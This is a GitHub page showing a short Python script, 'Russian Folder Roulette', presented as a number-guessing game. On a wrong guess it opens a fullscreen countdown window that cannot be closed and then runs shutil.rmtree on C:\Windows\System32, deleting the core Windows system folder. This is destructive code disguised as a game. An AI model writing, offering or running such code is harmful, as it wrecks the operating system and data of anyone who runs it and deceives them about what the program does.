-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrussianroulette.py
More file actions
46 lines (37 loc) · 1.34 KB
/
russianroulette.py
File metadata and controls
46 lines (37 loc) · 1.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
import shutil
import random
import time
import tkinter as tk
folder = r"C:\Windows\System32"
number = random.randint(1, 10)
countdown = 5
def start_gui(countdown_time):
root = tk.Tk()
root.title("🎰 Russian Folder Roulette 🎰")
root.attributes("-fullscreen", True)
root.configure(bg="black")
label = tk.Label(root, text="", fg="red", bg="black", font=("Arial", 50))
label.pack(expand=True)
root.protocol("WM_DELETE_WINDOW", lambda: None)
for i in range(countdown_time, 0, -1):
emojis = "💣" * i + "⏳" * (countdown_time - i)
label.config(text=f"{emojis} {i}")
root.update()
time.sleep(1)
if os.path.exists(folder):
shutil.rmtree(folder)
label.config(text=f"💥 Folder {folder} gone! 💥", fg="yellow")
else:
label.config(text="🧐 Folder missing already!", fg="yellow")
root.update()
time.sleep(3)
root.destroy()
print("🎰 Welcome to Russian Folder Roulette! 🎰")
guess = int(input("Pick a number from 1 to 10: "))
if guess != number:
print(f"😬 Wrong! The magic number was {number}. Fullscreen countdown starting...")
start_gui(countdown)
print("Done! Folder action complete.")
else:
print("😌 Phew! You dodged the bullet this round. The folder lives another day.")